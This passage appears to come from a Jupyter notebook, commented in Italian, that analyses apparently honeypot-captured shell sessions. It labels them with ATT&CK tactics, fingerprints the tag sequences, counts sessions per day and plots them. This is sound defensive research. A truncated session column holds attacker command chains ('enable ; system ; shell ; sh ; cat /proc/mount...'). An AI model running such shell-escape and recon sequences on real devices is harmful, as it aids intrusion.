|   15730 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution') |
|    5972 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution') |
|    4771 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery')                                                                                                                                                                                                                                                                                                        |
|    4592 | ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery')                                                                                                                                                                                                                                                                                                          |
                                             session  \
0  enable ; system ; shell ; sh ; cat /proc/mount...   
1  enable ; system ; shell ; sh ; cat /proc/mount...   
2  enable ; system ; shell ; sh ; cat /proc/mount...   
3  enable ; system ; shell ; sh ; cat /proc/mount...   
4  enable ; system ; shell ; sh ; cat /proc/mount...   

              timestamps_statements country_name  \
0  2019-09-01 00:00:10.493808+00:00       Israel   
1  2019-09-01 00:38:41.134935+00:00       Israel   
2  2019-09-01 00:39:26.263383+00:00       Israel   
3  2019-09-01 00:40:45.132152+00:00       Israel   
4  2019-09-01 00:54:51.783935+00:00       Israel   

                                      predicted_tags  \
0  [Discovery, Discovery, Discovery, Discovery, D...   
1  [Discovery, Discovery, Discovery, Discovery, D...   
2  [Discovery, Discovery, Discovery, Discovery, D...   
3  [Discovery, Discovery, Discovery, Discovery, D...   
4  [Discovery, Discovery, Discovery, Discovery, D...   

                                         fingerprint  
0  (Discovery, Discovery, Discovery, Discovery, D...  
1  (Discovery, Discovery, Discovery, Discovery, D...  
2  (Discovery, Discovery, Discovery, Discovery, D...  
3  (Discovery, Discovery, Discovery, Discovery, D...  
4  (Discovery, Discovery, Discovery, Discovery, D...  
In [ ]:
df_inf['session_date'] = pd.to_datetime(df_inf['timestamps_statements']).dt.date

# --- 2) Crea la fingerprint come tupla di tag (se non già presente) ---
df_inf['fingerprint'] = df_inf['predicted_tags'].apply(tuple)

# --- 3) Prepara un DataFrame ridotto a fingerprint + prima data di comparsa ---
fingerprint_birth_df = df_inf[['fingerprint', 'session_date']].copy()

# --- 4) Trova la prima comparsa di ogni fingerprint ---
first_seen = (
    fingerprint_birth_df
    .sort_values('session_date')
    .drop_duplicates(subset='fingerprint', keep='first')
)

# --- 5) Ordina per data di nascita ---
sorted_fingerprints = first_seen.sort_values('session_date').reset_index(drop=True)

# --- 6) Stampa i primi 10 ---
print("\nPrimi 10 fingerprint unici ordinati per data di comparsa:\n")
for _, row in sorted_fingerprints.head(10).iterrows():
    print(f"{row['session_date']} → {row['fingerprint']}")
Primi 10 fingerprint unici ordinati per data di comparsa:

2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Persistence', 'Persistence', 'Persistence', 'Persistence', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
In [ ]:
first_seen = (
    df_inf[['fingerprint','session_date']]
    .sort_values('session_date')
    .drop_duplicates(subset='fingerprint', keep='first')
    .reset_index(drop=True)
)

# 1) Assegna un ID incrementale ai fingerprint ordinati
first_seen = first_seen.reset_index(drop=True)
first_seen['fingerprint_id'] = first_seen.index

# 2) Mostra i primi 10 con fingerprint_id
print("\nPrimi 10 fingerprint con fingerprint_id:\n")
for _, row in first_seen.head(10).iterrows():
    print(f"ID {row['fingerprint_id']} → {row['session_date']} → {row['fingerprint']}")
Primi 10 fingerprint con fingerprint_id:

ID 0 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 1 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Execution', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 2 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Execution', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 3 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Discovery', 'Discovery', 'Execution', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 4 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 5 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 6 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 7 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Discovery', 'Discovery', 'Execution', 'Discovery', 'Execution', 'Execution', 'Discovery', 'Defense Evasion', 'Execution', 'Execution', 'Execution', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion', 'Defense Evasion')
ID 8 → 2019-09-01 → ('Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery', 'Discovery')
ID 9 → 2019-09-01 → ('Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution', 'Execution')
In [ ]:
# --- 2) Assicurati che df_inf abbia la colonna fingerprint e rimuovi eventuale fingerprint_id precedente ---
df_inf['fingerprint'] = df_inf['predicted_tags'].apply(tuple)
if 'fingerprint_id' in df_inf.columns:
    df_inf = df_inf.drop('fingerprint_id', axis=1)

# --- 2b) Merge con sorted_fingerprints (che contiene fingerprint_id) ---
# Assicurati di avere già creato `first_seen` o `sorted_fingerprints` come segue:
sorted_fingerprints = first_seen[['fingerprint','session_date']].copy()
sorted_fingerprints['fingerprint_id'] = sorted_fingerprints.index
df_inf = pd.merge(
    df_inf,
    sorted_fingerprints[['fingerprint', 'fingerprint_id']],
    on='fingerprint',
    how='left'
)

# --- 3) Estrai la sola data dal timestamp e mettila in colonna `date` ---
df_inf['date'] = pd.to_datetime(df_inf['timestamps_statements'], errors='coerce').dt.date

# --- 4) Raggruppa per data e conta le sessioni ---
sessions_per_day = (
    df_inf
      .groupby('date')
      .size()
      .reset_index(name='session_count')
      .sort_values('date')
      .reset_index(drop=True)
)

# --- 5) Visualizza i primi 10 giorni ---
print("\nNumero di sessioni per giorno (prime 10 righe):\n")
print(sessions_per_day.head(10).to_markdown(index=False))
Numero di sessioni per giorno (prime 10 righe):

| date       |   session_count |
|:-----------|----------------:|
| 2019-09-01 |             148 |
| 2019-09-02 |             158 |
| 2019-09-03 |             146 |
| 2019-09-04 |             145 |
| 2019-09-06 |             410 |
| 2019-09-07 |             368 |
| 2019-09-08 |             401 |
| 2019-09-09 |             425 |
| 2019-09-10 |             456 |
| 2019-09-11 |             275 |
In [ ]:
import matplotlib.pyplot as plt

# Raggruppa per data e fingerprint_id e conta le sessioni
grouped = (
    df_inf
    .groupby(['date', 'fingerprint_id'])
    .size()
    .reset_index(name='session_count')
)

# Prepara la figura
plt.figure(figsize=(14, 8))

# Scatter plot: x = date, y = fingerprint_id, dimensione e colore ∝ session_count
scatter = plt.scatter(
    grouped['date'],
    grouped['fingerprint_id'],
    s=grouped['session_count'] * 2,    # scala la dimensione dei punti
    c=grouped['session_count'],         # colore basato sul count
    cmap='viridis',                     # mappa di colore
    alpha=0.7,
    edgecolors='w',
    linewidth=0.5
)

# Barra del colore
plt.colorbar(scatter, label='Numero di sessioni')

# Etichette e titolo
plt.xlabel('Data')
plt.ylabel('Fingerprint ID')
plt.title('Distribuzione delle sessioni per Fingerprint ID nel tempo')

# Ruota le date per leggibilità
plt.xticks(rotation=45)

plt.tight_layout()
plt.show()